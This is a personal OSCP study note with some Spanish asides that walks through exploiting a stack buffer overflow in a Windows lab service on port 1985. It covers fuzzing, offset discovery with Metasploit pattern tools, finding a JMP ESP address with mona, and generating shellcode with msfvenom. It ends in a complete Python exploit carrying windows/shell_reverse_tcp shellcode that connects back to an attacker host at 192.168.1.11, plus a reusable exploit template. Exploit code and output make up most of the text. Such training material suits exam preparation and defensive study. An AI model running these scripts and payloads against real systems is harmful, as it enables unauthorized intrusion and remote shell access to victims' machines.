# OSCP Windows Buffer Overflow in a nutshell ###### tags: `windows` `OSCP` {%hackmd theme-dark %} ## Mounting the system Download a M$ VM from here: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ IE10 on W7x86 chosen. Go to Internet Options (in internet explorer), Advanced, and mark SSL, SSL2... Now let's download Immunity from here. https://debugger.immunityinc.com/ID_register.py and install it (accept to install Python2 too). Download now Mona from: https://github.com/corelan/mona drop mona.py into the 'PyCommands' folder (inside the Immunity Debugger application folder). (you can download directly the code from here https://raw.githubusercontent.com/corelan/mona/master/mona.py) ## Testing the app First of all, open the application. Open also the Immunity Debugger with elevated privileges. Click on File, and then click on Attach. You should see your program lsited there. ![](https://i.imgur.com/kll4INv.png) Let's see which port is using our application. In this case is the 1985: ![](https://i.imgur.com/OUs326Q.png) In Immunity, the program is paused by default. Let's run it with F9 or the play button in the toolbar. ![](https://i.imgur.com/tCDC0FH.png) The first test will be connect it from our Kali machine using telnet, and send a huge variable: ![](https://i.imgur.com/hX59N7E.png) Ok, when we use a huge input, this overwrites other variables in the memory. This is the bug in the BufferOverFlow. Lets try to exploit it. ## Making the exploit First of all, we need to calculate the offset in the BoF. Let's use this script to estimate the maximum payload size: ```python #!/usr/bin/python import time, socket # Create a string, fuzz from ilength (initial length) to tlength # (target length), with increments of 500 (increment). buffer="A" ilength=100 tlength=2000 increment=500 IP='192.168.1.16' PORT=1985 for x in range(increment,tlength,increment): print("Fuzzing with %s bytes" % x) buffer = "A"*x print(buffer) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((IP,PORT)) time.sleep(1) # Normalmente es \r\n, pero en el README.txt que viene en el zip pone "end a NULL-byte at the ending of your message." #s.send(bytes(buffer + "\r\n", encoding='utf8'))) s.send(bytes(buffer + "\x00", encoding='utf8')) s.close() x += increment ``` ![](https://i.imgur.com/2qw7L1x.png) The EIP and the EBP registers have been overwritted. This means that the program is vulnerable to a BoF. The EIP is the register which says the address of the next line to be executed, so we can alterate the complete program after this point :yum: In the immunity debugger, we have to set the workspace of Mona: `!mona config -set workingfolder c:\mona\%p` ![](https://i.imgur.com/9mD4Nzd.png) Let's also copy our exploit.py file: ```python import socket ip = "192.168.1.16" port = 1985 offset = 0 overflow = b"A" * offset retn = b"" padding = b"" payload = b"" postfix = b"\x00" buffer = overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending BoF") s.send(buffer) print("Done!") except: print("Couldn't connect to the target") ``` Now let's generate a pattern of, at least 2000 bytes to crash the server: ```bash ┌──(aml㉿kali)-[~/OSCP] └─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 900 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9 ``` and paste it in the "payload" variable in our exploit. Then run it versus the server: ![](https://i.imgur.com/KdMva2D.png) Nota: Me fallaba en el código que me daba, pero con un pattern de 900 o menos ya lo hiso bien. Asaberporqué :-1: Con el comando `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 316A4130` podremos sacar el offset exacto: ![](https://i.imgur.com/xNQjIcn.png) SO, we can start to make our exploit: ```python import socket ip = "192.168.1.16" port = 1985 offset = 272 # <--------- overflow = b"A" * offset retn = b"BBBB" # <--------- padding = b"" payload = b"" postfix = b"\x00" buffer = overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending BoF") print(buffer) s.send(buffer) print("Done!") except: print("Couldn't connect to the target") ``` And run it again to test it: ![](https://i.imgur.com/oNnbf5a.png) As we wanted, the EIP now is "42424242" which means "BBBB" in hex. Our offset is right! :smiley: Now, it's time to find a JMP ESP instruction to jump (instead of the BBBB before). Let's use mona: Running the command `!mona jmp -r esp` in Immunity, will find a memory address to jump: ![](https://i.imgur.com/u5RkDPs.png) Address: 0x345964ba Note that we need to write it in reverse order by pairs of bytes because of the `retn = "\xba\x64\x59\x34"` ![](https://i.imgur.com/oHODoVI.png) Sent but it does not take the \x43 byte, so let's try with the second address. Putting a breackpoint on that address, we can see that the program stops there: ![](https://i.imgur.com/ZfwgFOk.png) Now, the next step is to create the shellcode (for testing we'll launch a calculator). Let's do this with the command: ```bash ┌──(aml㉿kali)-[~/OSCP] └─$ msfvenom -a x86 -p windows/exec CMD=calc.exe -f python -b '\x00' [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 220 (iteration=0) x86/shikata_ga_nai chosen with final size 220 Payload size: 220 bytes Final size of python file: 1078 bytes buf = b"" buf += b"\xb8\xc9\x1e\x79\x77\xd9\xd0\xd9\x74\x24\xf4\x5b\x29" buf += b"\xc9\xb1\x31\x83\xc3\x04\x31\x43\x0f\x03\x43\xc6\xfc" buf += b"\x8c\x8b\x30\x82\x6f\x74\xc0\xe3\xe6\x91\xf1\x23\x9c" buf += b"\xd2\xa1\x93\xd6\xb7\x4d\x5f\xba\x23\xc6\x2d\x13\x43" buf += b"\x6f\x9b\x45\x6a\x70\xb0\xb6\xed\xf2\xcb\xea\xcd\xcb" buf += b"\x03\xff\x0c\x0c\x79\xf2\x5d\xc5\xf5\xa1\x71\x62\x43" buf += b"\x7a\xf9\x38\x45\xfa\x1e\x88\x64\x2b\xb1\x83\x3e\xeb" buf += b"\x33\x40\x4b\xa2\x2b\x85\x76\x7c\xc7\x7d\x0c\x7f\x01" buf += b"\x4c\xed\x2c\x6c\x61\x1c\x2c\xa8\x45\xff\x5b\xc0\xb6" buf += b"\x82\x5b\x17\xc5\x58\xe9\x8c\x6d\x2a\x49\x69\x8c\xff" buf += b"\x0c\xfa\x82\xb4\x5b\xa4\x86\x4b\x8f\xde\xb2\xc0\x2e" buf += b"\x31\x33\x92\x14\x95\x18\x40\x34\x8c\xc4\x27\x49\xce" buf += b"\xa7\x98\xef\x84\x45\xcc\x9d\xc6\x03\x13\x13\x7d\x61" buf += b"\x13\x2b\x7e\xd5\x7c\x1a\xf5\xba\xfb\xa3\xdc\xff\xf4" buf += b"\xe9\x7d\xa9\x9c\xb7\x17\xe8\xc0\x47\xc2\x2e\xfd\xcb" buf += b"\xe7\xce\xfa\xd4\x8d\xcb\x47\x53\x7d\xa1\xd8\x36\x81" buf += b"\x16\xd8\x12\xe2\xf9\x4a\xfe\xcb\x9c\xea\x65\x14" ``` And write it into our exploit. Then launch it again: ```python import socket ip = "192.168.1.16" port = 1985 offset = 272 overflow = b"A" * offset retn = b"\x77\x17\x58\x34" padding = b"\x90" * 20 payload = b"" payload += b"\xb8\xc9\x1e\x79\x77\xd9\xd0\xd9\x74\x24\xf4\x5b\x29" payload += b"\xc9\xb1\x31\x83\xc3\x04\x31\x43\x0f\x03\x43\xc6\xfc" payload += b"\x8c\x8b\x30\x82\x6f\x74\xc0\xe3\xe6\x91\xf1\x23\x9c" payload += b"\xd2\xa1\x93\xd6\xb7\x4d\x5f\xba\x23\xc6\x2d\x13\x43" payload += b"\x6f\x9b\x45\x6a\x70\xb0\xb6\xed\xf2\xcb\xea\xcd\xcb" payload += b"\x03\xff\x0c\x0c\x79\xf2\x5d\xc5\xf5\xa1\x71\x62\x43" payload += b"\x7a\xf9\x38\x45\xfa\x1e\x88\x64\x2b\xb1\x83\x3e\xeb" payload += b"\x33\x40\x4b\xa2\x2b\x85\x76\x7c\xc7\x7d\x0c\x7f\x01" payload += b"\x4c\xed\x2c\x6c\x61\x1c\x2c\xa8\x45\xff\x5b\xc0\xb6" payload += b"\x82\x5b\x17\xc5\x58\xe9\x8c\x6d\x2a\x49\x69\x8c\xff" payload += b"\x0c\xfa\x82\xb4\x5b\xa4\x86\x4b\x8f\xde\xb2\xc0\x2e" payload += b"\x31\x33\x92\x14\x95\x18\x40\x34\x8c\xc4\x27\x49\xce" payload += b"\xa7\x98\xef\x84\x45\xcc\x9d\xc6\x03\x13\x13\x7d\x61" payload += b"\x13\x2b\x7e\xd5\x7c\x1a\xf5\xba\xfb\xa3\xdc\xff\xf4" payload += b"\xe9\x7d\xa9\x9c\xb7\x17\xe8\xc0\x47\xc2\x2e\xfd\xcb" payload += b"\xe7\xce\xfa\xd4\x8d\xcb\x47\x53\x7d\xa1\xd8\x36\x81" payload += b"\x16\xd8\x12\xe2\xf9\x4a\xfe\xcb\x9c\xea\x65\x14" postfix = b"\x00" buffer = overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending BoF") print(buffer) s.send(buffer) print("Done!") except: print("Couldn't connect to the target") ``` ![](https://i.imgur.com/BdFvKmj.png) Let's create now the reverse shell payload: ``` ┌──(aml㉿kali)-[~/OSCP] └─$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=8888 -f python -b '\x00' EXITFUNC=thread -v payload [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of python file: 1869 bytes payload = b"" payload += b"\xda\xd6\xbd\x02\xd2\x37\x01\xd9\x74\x24\xf4\x58" payload += b"\x31\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13\x03\x6a" payload += b"\xc1\xd5\xf4\x96\x0d\x9b\xf7\x66\xce\xfc\x7e\x83" payload += b"\xff\x3c\xe4\xc0\x50\x8d\x6e\x84\x5c\x66\x22\x3c" payload += b"\xd6\x0a\xeb\x33\x5f\xa0\xcd\x7a\x60\x99\x2e\x1d" payload += b"\xe2\xe0\x62\xfd\xdb\x2a\x77\xfc\x1c\x56\x7a\xac" payload += b"\xf5\x1c\x29\x40\x71\x68\xf2\xeb\xc9\x7c\x72\x08" payload += b"\x99\x7f\x53\x9f\x91\xd9\x73\x1e\x75\x52\x3a\x38" payload += b"\x9a\x5f\xf4\xb3\x68\x2b\x07\x15\xa1\xd4\xa4\x58" payload += b"\x0d\x27\xb4\x9d\xaa\xd8\xc3\xd7\xc8\x65\xd4\x2c" payload += b"\xb2\xb1\x51\xb6\x14\x31\xc1\x12\xa4\x96\x94\xd1" payload += b"\xaa\x53\xd2\xbd\xae\x62\x37\xb6\xcb\xef\xb6\x18" payload += b"\x5a\xab\x9c\xbc\x06\x6f\xbc\xe5\xe2\xde\xc1\xf5" payload += b"\x4c\xbe\x67\x7e\x60\xab\x15\xdd\xed\x18\x14\xdd" payload += b"\xed\x36\x2f\xae\xdf\x99\x9b\x38\x6c\x51\x02\xbf" payload += b"\x93\x48\xf2\x2 ``` Note: For Linux systems would be: ``` ┌──(aml㉿kali)-[~] └─$ msfvenom -a x86 -p linux/x86/shell_reverse_tcp LHOST=192.168.1.11 LPORT=8888 -f python -b '\x00' EXITFUNC=thread -v payload ``` And exploit again: ![](https://i.imgur.com/O8brZAZ.png) ## Final scripts Exploit Template: ```python import socket ip = "" port = 1985 offset = 0 overflow = b"A" * offset retn = b"" padding = b"\x90" * 0 payload = b"" postfix = b"" buffer = overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending BoF") print(buffer) s.send(buffer) print("Done!") except: print("Couldn't connect to the target") ``` Final Exploit: ```python import socket ip = "192.168.1.16" port = 1985 offset = 272 overflow = b"A" * offset retn = b"\x77\x17\x58\x34" padding = b"\x90" * 20 payload = b"" payload += b"\xda\xd6\xbd\x02\xd2\x37\x01\xd9\x74\x24\xf4\x58" payload += b"\x31\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13\x03\x6a" payload += b"\xc1\xd5\xf4\x96\x0d\x9b\xf7\x66\xce\xfc\x7e\x83" payload += b"\xff\x3c\xe4\xc0\x50\x8d\x6e\x84\x5c\x66\x22\x3c" payload += b"\xd6\x0a\xeb\x33\x5f\xa0\xcd\x7a\x60\x99\x2e\x1d" payload += b"\xe2\xe0\x62\xfd\xdb\x2a\x77\xfc\x1c\x56\x7a\xac" payload += b"\xf5\x1c\x29\x40\x71\x68\xf2\xeb\xc9\x7c\x72\x08" payload += b"\x99\x7f\x53\x9f\x91\xd9\x73\x1e\x75\x52\x3a\x38" payload += b"\x9a\x5f\xf4\xb3\x68\x2b\x07\x15\xa1\xd4\xa4\x58" payload += b"\x0d\x27\xb4\x9d\xaa\xd8\xc3\xd7\xc8\x65\xd4\x2c" payload += b"\xb2\xb1\x51\xb6\x14\x31\xc1\x12\xa4\x96\x94\xd1" payload += b"\xaa\x53\xd2\xbd\xae\x62\x37\xb6\xcb\xef\xb6\x18" payload += b"\x5a\xab\x9c\xbc\x06\x6f\xbc\xe5\xe2\xde\xc1\xf5" payload += b"\x4c\xbe\x67\x7e\x60\xab\x15\xdd\xed\x18\x14\xdd" payload += b"\xed\x36\x2f\xae\xdf\x99\x9b\x38\x6c\x51\x02\xbf" payload += b"\x93\x48\xf2\x2f\x6a\x73\x03\x66\xa9\x27\x53\x10" payload += b"\x18\x48\x38\xe0\xa5\x9d\xef\xb0\x09\x4e\x50\x60" payload += b"\xea\x3e\x38\x6a\xe5\x61\x58\x95\x2f\x0a\xf3\x6c" payload += b"\xb8\xf5\xac\x6f\x33\x9e\xae\x6f\x61\xe6\x26\x89" payload += b"\x0f\x06\x6f\x02\xb8\xbf\x2a\xd8\x59\x3f\xe1\xa5" payload += b"\x5a\xcb\x06\x5a\x14\x3c\x62\x48\xc1\xcc\x39\x32" payload += b"\x44\xd2\x97\x5a\x0a\x41\x7c\x9a\x45\x7a\x2b\xcd" payload += b"\x02\x4c\x22\x9b\xbe\xf7\x9c\xb9\x42\x61\xe6\x79" payload += b"\x99\x52\xe9\x80\x6c\xee\xcd\x92\xa8\xef\x49\xc6" payload += b"\x64\xa6\x07\xb0\xc2\x10\xe6\x6a\x9d\xcf\xa0\xfa" payload += b"\x58\x3c\x73\x7c\x65\x69\x05\x60\xd4\xc4\x50\x9f" payload += b"\xd9\x80\x54\xd8\x07\x31\x9a\x33\x8c\x51\x79\x91" payload += b"\xf9\xf9\x24\x70\x40\x64\xd7\xaf\x87\x91\x54\x45" payload += b"\x78\x66\x44\x2c\x7d\x22\xc2\xdd\x0f\x3b\xa7\xe1" payload += b"\xbc\x3c\xe2" postfix = b"\x00" buffer = overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending BoF") print(buffer) s.send(buffer) print("Done!") except: print("Couldn't connect to the target") ``` Fuzzer: ```python= #!/usr/bin/python import time, socket # Create a string, fuzz from ilength (initial length) to tlength # (target length), with increments of 500 (increment). buffer="A" ilength=100 tlength=2000 increment=400 IP='192.168.1.16' PORT=1985 for x in range(increment,tlength,increment): print("Fuzzing with %s bytes" % x) buffer = "A"*x print(buffer) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((IP,PORT)) time.sleep(1) s.send(bytes(buffer + "\x00", encoding='utf8')) s.close() x += increment ``` ## Sources Writeup BrainPan: https://assume-breach.medium.com/oscp-prep-buffer-overflows-made-super-easy-with-the-brainpan-1-vm-e5ccaf7d3f0c Writeup Dawn2: https://alexfrancow.github.io/ctf/Dawn-2-Vanilla-Buffer-Overflow/ Better writeup of Dawn2: https://infosecwriteups.com/tryhackme-oscp-buffer-overflow-prep-overflow-2-57c22b51a91f